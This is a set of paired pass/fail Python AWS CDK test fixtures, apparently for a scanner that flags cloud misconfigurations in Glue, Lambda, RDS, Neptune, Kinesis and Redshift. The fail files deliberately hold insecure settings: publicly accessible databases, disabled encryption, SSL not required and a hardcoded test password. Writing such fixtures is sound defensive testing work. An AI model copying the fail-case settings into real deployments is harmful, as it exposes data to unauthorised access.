database_name="mydatabase", role=crawler_role.role_arn, targets={ "s3Targets": [ { "path": "s3://your-s3-bucket/path/to/crawl", } ] }, ) app = core.App() GlueCrawlerStack(app, "GlueCrawlerStack") app.synth() class GlueDevEndpointStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an AWS Glue DevEndpoint dev_endpoint = glue.CfnDevEndpoint( self, "MyDevEndpoint", role_arn="arn:aws:iam::YOUR_ACCOUNT_ID:role/YourGlueDevEndpointRole", worker_type="Standard", glue_version="1.0", ) app = core.App() GlueDevEndpointStack(app, "GlueDevEndpointStack") app.synth() class GlueJobStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an AWS Glue Job job = glue.CfnJob( self, "MyGlueJob", command={ "name": "glueetl", "pythonVersion": "3" }, default_arguments={ "--job-language": "python" }, max_capacity=10, glue_version="1.0" ) app = core.App() GlueJobStack(app, "GlueJobStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/GlueSecurityConfigurationEnabled/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_glue as glue from aws_cdk import aws_iam as iam class GlueCrawlerStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) crawler = glue.CfnCrawler( self, "MyCrawler", name="MyCrawler", database_name="mydatabase", role=crawler_role.role_arn, targets={ "s3Targets": [ { "path": "s3://your-s3-bucket/path/to/crawl", } ] }, crawler_security_configuration="aaa" ) app = core.App() GlueCrawlerStack(app, "GlueCrawlerStack") app.synth() class GlueDevEndpointStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an AWS Glue Security Configuration (You need to create one separately) security_configuration_name = "MySecurityConfiguration" # Replace with your security config name # Create an AWS Glue DevEndpoint dev_endpoint = glue.CfnDevEndpoint( self, "MyDevEndpoint", role_arn="arn:aws:iam::YOUR_ACCOUNT_ID:role/YourGlueDevEndpointRole", security_configuration=security_configuration_name, worker_type="Standard", glue_version="1.0", ) app = core.App() GlueDevEndpointStack(app, "GlueDevEndpointStack") app.synth() class GlueJobStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an AWS Glue Security Configuration (You need to create one separately) security_configuration_name = "MySecurityConfiguration" # Replace with your security config name # Create an AWS Glue Job job = glue.CfnJob( self, "MyGlueJob", command={ "name": "glueetl", "pythonVersion": "3" }, default_arguments={ "--job-language": "python" }, security_configuration=security_configuration_name, max_capacity=10, glue_version="1.0" ) app = core.App() GlueJobStack(app, "GlueJobStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/IAMPolicyAttachedToGroupOrRoles/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_iam as iam class IAMStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an IAM policy custom_policy = iam.Policy( self, "CustomPolicy", policy_name="MyCustomPolicy", statements=[ iam.PolicyStatement( effect=iam.Effect.ALLOW, actions=["s3:GetObject"], resources=["arn:aws:s3:::my-bucket/*"], ), ], users=["a"] ) app = core.App() IAMStack(app, "IAMStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/IAMPolicyAttachedToGroupOrRoles/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_iam as iam class IAMStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an IAM policy custom_policy = iam.Policy( self, "CustomPolicy", policy_name="MyCustomPolicy", statements=[ iam.PolicyStatement( effect=iam.Effect.ALLOW, actions=["s3:GetObject"], resources=["arn:aws:s3:::my-bucket/*"], ), ], ) app = core.App() IAMStack(app, "IAMStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/KinesisStreamEncryptionType/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_kinesis as kinesis class KinesisStreamStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Amazon Kinesis stream kinesis_stream = kinesis.CfnStream( self, "MyKinesisStream", name="my-kinesis-stream", shard_count=2, # The number of shards in the stream stream_encryption={ "encryption_type": "ABC", "key_id": "YOUR_KMS_KEY_ID" # Replace with your KMS key ID } ) app = core.App() KinesisStreamStack(app, "KinesisStreamStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/KinesisStreamEncryptionType/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_kinesis as kinesis class KinesisStreamStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Amazon Kinesis stream kinesis_stream = kinesis.CfnStream( self, "MyKinesisStream", name="my-kinesis-stream", shard_count=2, # The number of shards in the stream stream_encryption={ "encryption_type": "KMS", # Use KMS encryption "key_id": "YOUR_KMS_KEY_ID" # Replace with your KMS key ID } ) app = core.App() KinesisStreamStack(app, "KinesisStreamStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/LambdaDLQConfigured/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_lambda as _lambda from aws_cdk import aws_sqs as sqs from aws_cdk import aws_sam as sam class MyLambdaStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create the Dead Letter Queue dlq = sqs.Queue( self, "MyDeadLetterQueue", visibility_timeout=core.Duration.seconds(300), # Adjust as needed ) # Create the Lambda function with a DLQ my_lambda_function = _lambda.Function( self, "MyLambdaFunction", runtime=_lambda.Runtime.PYTHON_3_8, handler="index.handler", code=_lambda.Code.from_asset("path/to/your/code"), function_name="my-function-name", ) class MySAMLambdaStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create the Dead Letter Queue dlq = sqs.Queue( self, "MyDeadLetterQueue", visibility_timeout=core.Duration.seconds(300), # Adjust as needed ) # Create the SAM Lambda function with a DLQ my_sam_lambda_function = sam.CfnFunction( self, "MySAMLambdaFunction", handler="index.handler", runtime="nodejs14.x", code_uri="./my-code", function_name="my-function-name", ) ================================================ FILE: cdk_integration_tests/src/python/LambdaDLQConfigured/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_lambda as _lambda from aws_cdk import aws_sqs as sqs from aws_cdk import aws_sam as sam class MyLambdaStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create the Dead Letter Queue dlq = sqs.Queue( self, "MyDeadLetterQueue", visibility_timeout=core.Duration.seconds(300), # Adjust as needed ) # Create the Lambda function with a DLQ my_lambda_function = _lambda.Function( self, "MyLambdaFunction", runtime=_lambda.Runtime.PYTHON_3_8, handler="index.handler", code=_lambda.Code.from_asset("path/to/your/code"), function_name="my-function-name", dead_letter_queue=dlq, ) class MySAMLambdaStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create the Dead Letter Queue dlq = sqs.Queue( self, "MyDeadLetterQueue", visibility_timeout=core.Duration.seconds(300), # Adjust as needed ) # Create the SAM Lambda function with a DLQ my_sam_lambda_function = sam.CfnFunction( self, "MySAMLambdaFunction", handler="index.handler", runtime="nodejs14.x", code_uri="./my-code", function_name="my-function-name", dead_letter_queue=sam.CfnFunction.DeadLetterQueueProperty( target_arn=dlq.queue_arn ), ) ================================================ FILE: cdk_integration_tests/src/python/LambdaEnvironmentCredentials/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_lambda as _lambda from aws_cdk import aws_sam as sam class MyLambdaFunctionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Lambda Function my_lambda = _lambda.Function( self, 'MyLambdaFunction', runtime=_lambda.Runtime.PYTHON_3_8, handler='index.handler', code=_lambda.Code.from_asset('lambda'), # Replace 'lambda' with your function code directory environment={ 'MY_VARIABLE': 'pass' } ) app = core.App() MyLambdaFunctionStack(app, "MyLambdaFunctionStack") app.synth() class MyServerlessFunctionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Serverless Lambda Function my_lambda = sam.CfnFunction( self, 'MyServerlessFunction', code_uri='lambda/', # Replace 'lambda/' with your function code directory handler='index.handler', runtime='python3.9', environment={ 'MY_VARIABLE': 'pass' } # Other properties for your Serverless Lambda Function ) app = core.App() MyServerlessFunctionStack(app, "MyServerlessFunctionStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/LambdaEnvironmentCredentials/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_lambda as _lambda from aws_cdk import aws_sam as sam class MyLambdaFunctionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Lambda Function my_lambda = _lambda.Function( self, 'MyLambdaFunction', runtime=_lambda.Runtime.PYTHON_3_8, handler='index.handler', code=_lambda.Code.from_asset('lambda'), # Replace 'lambda' with your function code directory environment={ 'MY_VARIABLE': {'a':'b'} } ) app = core.App() MyLambdaFunctionStack(app, "MyLambdaFunctionStack") app.synth() class MyServerlessFunctionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Serverless Lambda Function my_lambda = sam.CfnFunction( self, 'MyServerlessFunction', code_uri='lambda/', # Replace 'lambda/' with your function code directory handler='index.handler', runtime='python3.9', environment={ 'MY_VARIABLE': {'a':'b'} } # Other properties for your Serverless Lambda Function ) app = core.App() MyServerlessFunctionStack(app, "MyServerlessFunctionStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/LambdaEnvironmentEncryptionSettings/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_lambda as _lambda from aws_cdk import aws_sam as sam class MyLambdaFunctionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Lambda function my_lambda_function = _lambda.Function( self, 'MyLambdaFunction', runtime=_lambda.Runtime.PYTHON_3_8, handler='index.handler', code=_lambda.Code.from_asset('path/to/your/function/code'), environment={ 'MY_VARIABLE_1': 'Value1', 'MY_VARIABLE_2': 'Value2' }, ) app = core.App() MyLambdaFunctionStack(app, "MyLambdaFunctionStack") app.synth() class MyServerlessFunctionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define SAM Function my_sam_function = sam.CfnFunction( self, 'MySAMFunction', handler='index.handler', runtime='python3.9', code_uri='./path/to/your/function/code', environment={ 'MY_VARIABLE_1': 'Value1', 'MY_VARIABLE_2': 'Value2' }, ) app = core.App() MyServerlessFunctionStack(app, "MyServerlessFunctionStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/LambdaEnvironmentEncryptionSettings/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_lambda as _lambda from aws_cdk import aws_sam as sam class MyLambdaFunctionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Lambda function my_lambda_function = _lambda.Function( self, 'MyLambdaFunction', runtime=_lambda.Runtime.PYTHON_3_8, handler='index.handler', code=_lambda.Code.from_asset('path/to/your/function/code'), environment={ 'MY_VARIABLE_1': 'Value1', 'MY_VARIABLE_2': 'Value2' }, kms_key=_lambda.Key.from_key_arn(self, 'MyKmsKey', 'arn:aws:kms:region:account-id:key/key-id') ) app = core.App() MyLambdaFunctionStack(app, "MyLambdaFunctionStack") app.synth() class MyServerlessFunctionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define SAM Function my_sam_function = sam.CfnFunction( self, 'MySAMFunction', handler='index.handler', runtime='python3.9', code_uri='./path/to/your/function/code', environment={ 'MY_VARIABLE_1': 'Value1', 'MY_VARIABLE_2': 'Value2' }, kms_key_arn='arn:aws:kms:region:account-id:key/key-id' ) app = core.App() MyServerlessFunctionStack(app, "MyServerlessFunctionStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/LambdaFunctionLevelConcurrentExecutionLimit/fail__2__.py ================================================ from aws_cdk import core from aws_cdk.aws_lambda import Function, Runtime, Code from aws_cdk.aws_sam import CfnFunction class MyLambdaStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) my_lambda_function = Function( self, "MyLambdaFunction", runtime=Runtime.PYTHON_3_8, # Set the Lambda function's runtime handler="index.handler", # Specify the Lambda handler code=Code.from_asset("path/to/your/code"), # Define the code location function_name="my-function-name", # Optionally set the function name role=my_lambda_execution_role, # Provide an IAM role for the function timeout=core.Duration.seconds(10), # Set the function timeout ) class MyLambdaStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) my_lambda_function = CfnFunction( self, "MyLambdaFunction", handler="index.handler", # Specify the Lambda handler runtime="nodejs14.x", # Set the Lambda function's runtime code_uri="./my-code", # Specify the location of your code function_name="my-function-name", # Optionally set the function name role=my_lambda_execution_role, # Provide an IAM role for the function timeout=10, # Set the function timeout ) # You can add other configurations and permissions for your Lambda function here ================================================ FILE: cdk_integration_tests/src/python/LambdaFunctionLevelConcurrentExecutionLimit/pass.py ================================================ from aws_cdk import core from aws_cdk.aws_lambda import Function, Runtime, Code from aws_cdk.aws_sam import CfnFunction class MyLambdaStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) my_lambda_function = Function( self, "MyLambdaFunction", runtime=Runtime.PYTHON_3_8, # Set the Lambda function's runtime handler="index.handler", # Specify the Lambda handler code=Code.from_asset("path/to/your/code"), # Define the code location function_name="my-function-name", # Optionally set the function name role=my_lambda_execution_role, # Provide an IAM role for the function timeout=core.Duration.seconds(10), # Set the function timeout reserved_concurrent_executions=5 ) class MyLambdaStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) my_lambda_function = CfnFunction( self, "MyLambdaFunction", handler="index.handler", # Specify the Lambda handler runtime="nodejs14.x", # Set the Lambda function's runtime code_uri="./my-code", # Specify the location of your code function_name="my-function-name", # Optionally set the function name role=my_lambda_execution_role, # Provide an IAM role for the function timeout=10, # Set the function timeout reserved_concurrent_executions=5 ) # You can add other configurations and permissions for your Lambda function here ================================================ FILE: cdk_integration_tests/src/python/LambdaInVPC/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_lambda as _lambda from aws_cdk import aws_ec2 as ec2 from aws_cdk import aws_sam as sam class MyLambdaStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a Lambda function in the VPC my_lambda_function = _lambda.Function( self, "MyLambdaFunction", runtime=_lambda.Runtime.PYTHON_3_8, handler="index.handler", code=_lambda.Code.from_asset("path/to/your/code"), function_name="my-function-name", security_group=my_vpc.vpc_default_security_group, allow_public_subnet=False, # Set to True if you want public subnets ) class MySAMLambdaStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a custom VPC my_vpc = ec2.Vpc( self, "MyVPC", max_azs=2, # Set the number of Availability Zones as needed ) # Define the Serverless::Function within the VPC my_sam_lambda_function = sam.CfnFunction( self, "MySAMLambdaFunction", handler="index.handler", runtime="nodejs14.x", code_uri="./my-code", ) ================================================ FILE: cdk_integration_tests/src/python/LambdaInVPC/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_lambda as _lambda from aws_cdk import aws_ec2 as ec2 from aws_cdk import aws_sam as sam class MyLambdaStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a VPC my_vpc = ec2.Vpc( self, "MyVPC", max_azs=2, # Set the number of Availability Zones as needed ) # Create a Lambda function in the VPC my_lambda_function = _lambda.Function( self, "MyLambdaFunction", runtime=_lambda.Runtime.PYTHON_3_8, handler="index.handler", code=_lambda.Code.from_asset("path/to/your/code"), function_name="my-function-name", vpc=my_vpc, security_group=my_vpc.vpc_default_security_group, allow_public_subnet=False, # Set to True if you want public subnets ) class MySAMLambdaStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a custom VPC my_vpc = ec2.Vpc( self, "MyVPC", max_azs=2, # Set the number of Availability Zones as needed ) # Define the Serverless::Function within the VPC my_sam_lambda_function = sam.CfnFunction( self, "MySAMLambdaFunction", handler="index.handler", runtime="nodejs14.x", code_uri="./my-code", function_name="my-function-name", vpc_config=sam.CfnFunction.VpcConfigProperty( security_group_ids=[my_vpc.vpc_default_security_group], subnet_ids=my_vpc.select_subnets( subnet_group_name="your-subnet-group-name" ).subnet_ids, ), ) ================================================ FILE: cdk_integration_tests/src/python/LaunchConfigurationEBSEncryption/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_autoscaling as autoscaling class MyAutoScalingLaunchConfig(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Launch Configuration launch_config = autoscaling.CfnLaunchConfiguration( self, 'MyLaunchConfiguration', image_id='ami-12345678', # Replace with your desired AMI ID instance_type='t2.micro', # Replace with your desired instance type block_device_mappings=[{ 'ebs': { 'encrypted': False } }] # Other properties for your Launch Configuration ) app = core.App() MyAutoScalingLaunchConfig(app, "MyAutoScalingLaunchConfig") app.synth() ================================================ FILE: cdk_integration_tests/src/python/LaunchConfigurationEBSEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_autoscaling as autoscaling class MyAutoScalingLaunchConfig(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Launch Configuration launch_config = autoscaling.CfnLaunchConfiguration( self, 'MyLaunchConfiguration', image_id='ami-12345678', # Replace with your desired AMI ID instance_type='t2.micro', # Replace with your desired instance type block_device_mappings=[{ 'deviceName': '/dev/xvda', 'ebs': { 'encrypted': True } }] # Other properties for your Launch Configuration ) app = core.App() MyAutoScalingLaunchConfig(app, "MyAutoScalingLaunchConfig") app.synth() class MyAutoScalingLaunchConfig(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Launch Configuration launch_config = autoscaling.CfnLaunchConfiguration( self, 'MyLaunchConfiguration', image_id='ami-12345678', # Replace with your desired AMI ID instance_type='t2.micro', # Replace with your desired instance type block_device_mappings=[{ 'deviceName': '/dev/xvda', }] # Other properties for your Launch Configuration ) app = core.App() MyAutoScalingLaunchConfig(app, "MyAutoScalingLaunchConfig") app.synth() ================================================ FILE: cdk_integration_tests/src/python/NeptuneClusterStorageEncrypted/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_neptune as neptune class MyNeptuneStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a Neptune DB cluster with storage encryption enabled neptune_cluster = neptune.CfnDBCluster( self, "MyNeptuneCluster", engine="neptune", db_cluster_identifier="my-neptune-cluster", master_username="admin", master_user_password="mypassword", # checkov:skip=CKV_SECRET_6 test secret storage_encrypted=False, # Enable storage encryption port=8182, # Specify the port as needed availability_zones=["us-east-1a", "us-east-1b"], # Specify the availability zones ) class MyNeptuneStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a Neptune DB cluster with storage encryption enabled neptune_cluster = neptune.DatabaseCluster( self, "MyNeptuneCluster", engine=neptune.DatabaseClusterEngine.NEPTUNE, master_user=neptune.Login( username="admin", password="mypassword", # checkov:skip=CKV_SECRET_6 test secret ), default_database_name="mydb", removal_policy=core.RemovalPolicy.DESTROY, # Set the removal policy as needed vpc=your_vpc, # Specify the VPC where the cluster should be deployed instances=1, # Specify the number of instances ) ================================================ FILE: cdk_integration_tests/src/python/NeptuneClusterStorageEncrypted/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_neptune as neptune class MyNeptuneStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a Neptune DB cluster with storage encryption enabled neptune_cluster = neptune.CfnDBCluster( self, "MyNeptuneCluster", engine="neptune", db_cluster_identifier="my-neptune-cluster", master_username="admin", master_user_password="mypassword", # checkov:skip=CKV_SECRET_6 test secret storage_encrypted=True, # Enable storage encryption port=8182, # Specify the port as needed availability_zones=["us-east-1a", "us-east-1b"], # Specify the availability zones ) class MyNeptuneStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a Neptune DB cluster with storage encryption enabled neptune_cluster = neptune.DatabaseCluster( self, "MyNeptuneCluster", engine=neptune.DatabaseClusterEngine.NEPTUNE, master_user=neptune.Login( username="admin", password="mypassword", # checkov:skip=CKV_SECRET_6 test secret ), default_database_name="mydb", storage_encrypted=True, # Enable storage encryption removal_policy=core.RemovalPolicy.DESTROY, # Set the removal policy as needed vpc=your_vpc, # Specify the VPC where the cluster should be deployed instances=1, # Specify the number of instances ) ================================================ FILE: cdk_integration_tests/src/python/RDSEnhancedMonitorEnabled/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_rds as rds class RDSStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an RDS DB instance with a custom MonitoringInterval rds_instance = rds.DatabaseInstance( self, "MyRDSInstance", engine=rds.DatabaseInstanceEngine.mysql( version=rds.MysqlEngineVersion.VER_8_0 ), instance_type=core.Fn.select(0, core.Fn.split(" ", "db.m5.large")), allocated_storage=20, max_allocated_storage=100, vpc_subnets={ "subnetType": core.Fn.select(0, core.Fn.split(",", "private")), }, storage_type=rds.StorageType.GP2, removal_policy=core.RemovalPolicy.DESTROY, ) app = core.App() RDSStack(app, "RDSStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RDSEnhancedMonitorEnabled/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_rds as rds class RDSStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an RDS DB instance with a custom MonitoringInterval rds_instance = rds.DatabaseInstance( self, "MyRDSInstance", engine=rds.DatabaseInstanceEngine.mysql( version=rds.MysqlEngineVersion.VER_8_0 ), instance_type=core.Fn.select(0, core.Fn.split(" ", "db.m5.large")), monitoring_interval=60, # Set MonitoringInterval to 60 seconds allocated_storage=20, max_allocated_storage=100, vpc_subnets={ "subnetType": core.Fn.select(0, core.Fn.split(",", "private")), }, storage_type=rds.StorageType.GP2, removal_policy=core.RemovalPolicy.DESTROY, ) app = core.App() RDSStack(app, "RDSStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RDSMultiAZEnabled/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_rds as rds class MyDBInstanceStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define RDS DB instance my_db_instance = rds.CfnDBInstance( self, 'MyDBInstance', engine='mysql', # Change this to your desired engine type db_instance_class='db.t2.micro', allocated_storage=20, multi_az=False, # Other properties for your DB instance ) app = core.App() MyDBInstanceStack(app, "MyDBInstanceStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RDSMultiAZEnabled/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_rds as rds class MyDBInstanceStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define RDS DB instance my_db_instance = rds.CfnDBInstance( self, 'MyDBInstance', engine='mysql', # Change this to your desired engine type db_instance_class='db.t2.micro', allocated_storage=20, multi_az=True, # Other properties for your DB instance ) app = core.App() MyDBInstanceStack(app, "MyDBInstanceStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RDSPubliclyAccessible/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_rds as rds class RDSStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an RDS DB instance with PubliclyAccessible set to True rds_instance = rds.DatabaseInstance( self, "MyRDSInstance", engine=rds.DatabaseInstanceEngine.mysql( version=rds.MysqlEngineVersion.VER_8_0 ), instance_type=core.Fn.select(0, core.Fn.split(" ", "db.m5.large")), publicly_accessible=True, # Set PubliclyAccessible to True allocated_storage=20, max_allocated_storage=100, vpc_subnets={ "subnetType": core.Fn.select(0, core.Fn.split(",", "private")), }, storage_type=rds.StorageType.GP2, removal_policy=core.RemovalPolicy.DESTROY, ) app = core.App() RDSStack(app, "RDSStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RDSPubliclyAccessible/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_rds as rds class RDSStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an RDS DB instance with PubliclyAccessible set to false rds_instance = rds.DatabaseInstance( self, "MyRDSInstance", engine=rds.DatabaseInstanceEngine.mysql( version=rds.MysqlEngineVersion.VER_8_0 ), instance_type=core.Fn.select(0, core.Fn.split(" ", "db.m5.large")), publicly_accessible=False, # Set PubliclyAccessible to false allocated_storage=20, max_allocated_storage=100, vpc_subnets={ "subnetType": core.Fn.select(0, core.Fn.split(",", "private")), }, storage_type=rds.StorageType.GP2, removal_policy=core.RemovalPolicy.DESTROY, ) app = core.App() RDSStack(app, "RDSStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RedShiftSSL/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_redshift as redshift class MyRedshiftClusterParameterGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Redshift Cluster Parameter Group with require_ssl parameter redshift.CfnClusterParameterGroup( self, 'MyRedshiftClusterParameterGroup', description='My Redshift Parameter Group', parameter_group_family='redshift-1.0', parameters=[ redshift.CfnClusterParameterGroup.ParameterProperty( parameter_name='require_ssl', parameter_value='false' ) # Add other parameters if needed ] ) app = core.App() MyRedshiftClusterParameterGroupStack(app, "MyRedshiftClusterParameterGroupStack") app.synth() class MyRedshiftClusterParameterGroupStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Redshift Cluster Parameter Group with require_ssl parameter redshift.CfnClusterParameterGroup( self, 'MyRedshiftClusterParameterGroup', description='My Redshift Parameter Group', parameter_group_family='redshift-1.0', parameters=[ redshift.CfnClusterParameterGroup.ParameterProperty( parameter_name='abc', parameter_value='true' ) # Add other parameters if needed ] ) app = core.App() MyRedshiftClusterParameterGroupStack2(app, "MyRedshiftClusterParameterGroupStack2") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RedShiftSSL/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_redshift as redshift class MyRedshiftClusterParameterGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Redshift Cluster Parameter Group with require_ssl parameter redshift.CfnClusterParameterGroup( self, 'MyRedshiftClusterParameterGroup', description='My Redshift Parameter Group', parameter_group_family='redshift-1.0', parameters=[ redshift.CfnClusterParameterGroup.ParameterProperty( parameter_name='require_ssl', parameter_value='true' ) # Add other parameters if needed ] ) app = core.App() MyRedshiftClusterParameterGroupStack(app, "MyRedshiftClusterParameterGroupStack") app.synth() class MyRedshiftClusterParameterGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Redshift Cluster Parameter Group with require_ssl parameter redshift.CfnClusterParameterGroup( self, 'MyRedshiftClusterParameterGroup', description='My Redshift Parameter Group', parameter_group_family='redshift-1.0', parameters=[ redshift.CfnClusterParameterGroup.ParameterProperty( parameter_value='true', parameter_name='require_ssl' ) # Add other parameters if needed ] ) app = core.App() MyRedshiftClusterParameterGroupStack(app, "MyRedshiftClusterParameterGroupStack") app.synth() class MyRedshiftClusterParameterGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Redshift Cluster Parameter Group with require_ssl parameter redshift.CfnClusterParameterGroup( self, 'MyRedshiftClusterParameterGroup', description='My Redshift Parameter Group', parameter_group_family='redshift-1.0', parameters=[ {'parameterName': 'require_ssl','parameterValue': 'true'} # Add other parameters if needed ] ) app = core.App() MyRedshiftClusterParameterGroupStack(app, "MyRedshiftClusterParameterGroupStack") app.synth() class MyRedshiftClusterParameterGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Redshift Cluster Parameter Group with require_ssl parameter redshift.CfnClusterParameterGroup( self, 'MyRedshiftClusterParameterGroup', description='My Redshift Parameter Group', parameter_group_family='redshift-1.0', parameters=[ {'parameterValue': 'true','parameterName': 'require_ssl'} # Add other parameters if needed ] ) app = core.App() MyRedshiftClusterParameterGroupStack(app, "MyRedshiftClusterParameterGroupStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/RedshiftClusterEncryption/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_redshift as redshift class RedshiftClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Amazon Redshift cluster redshift_cluster = redshift.CfnCluster( self, 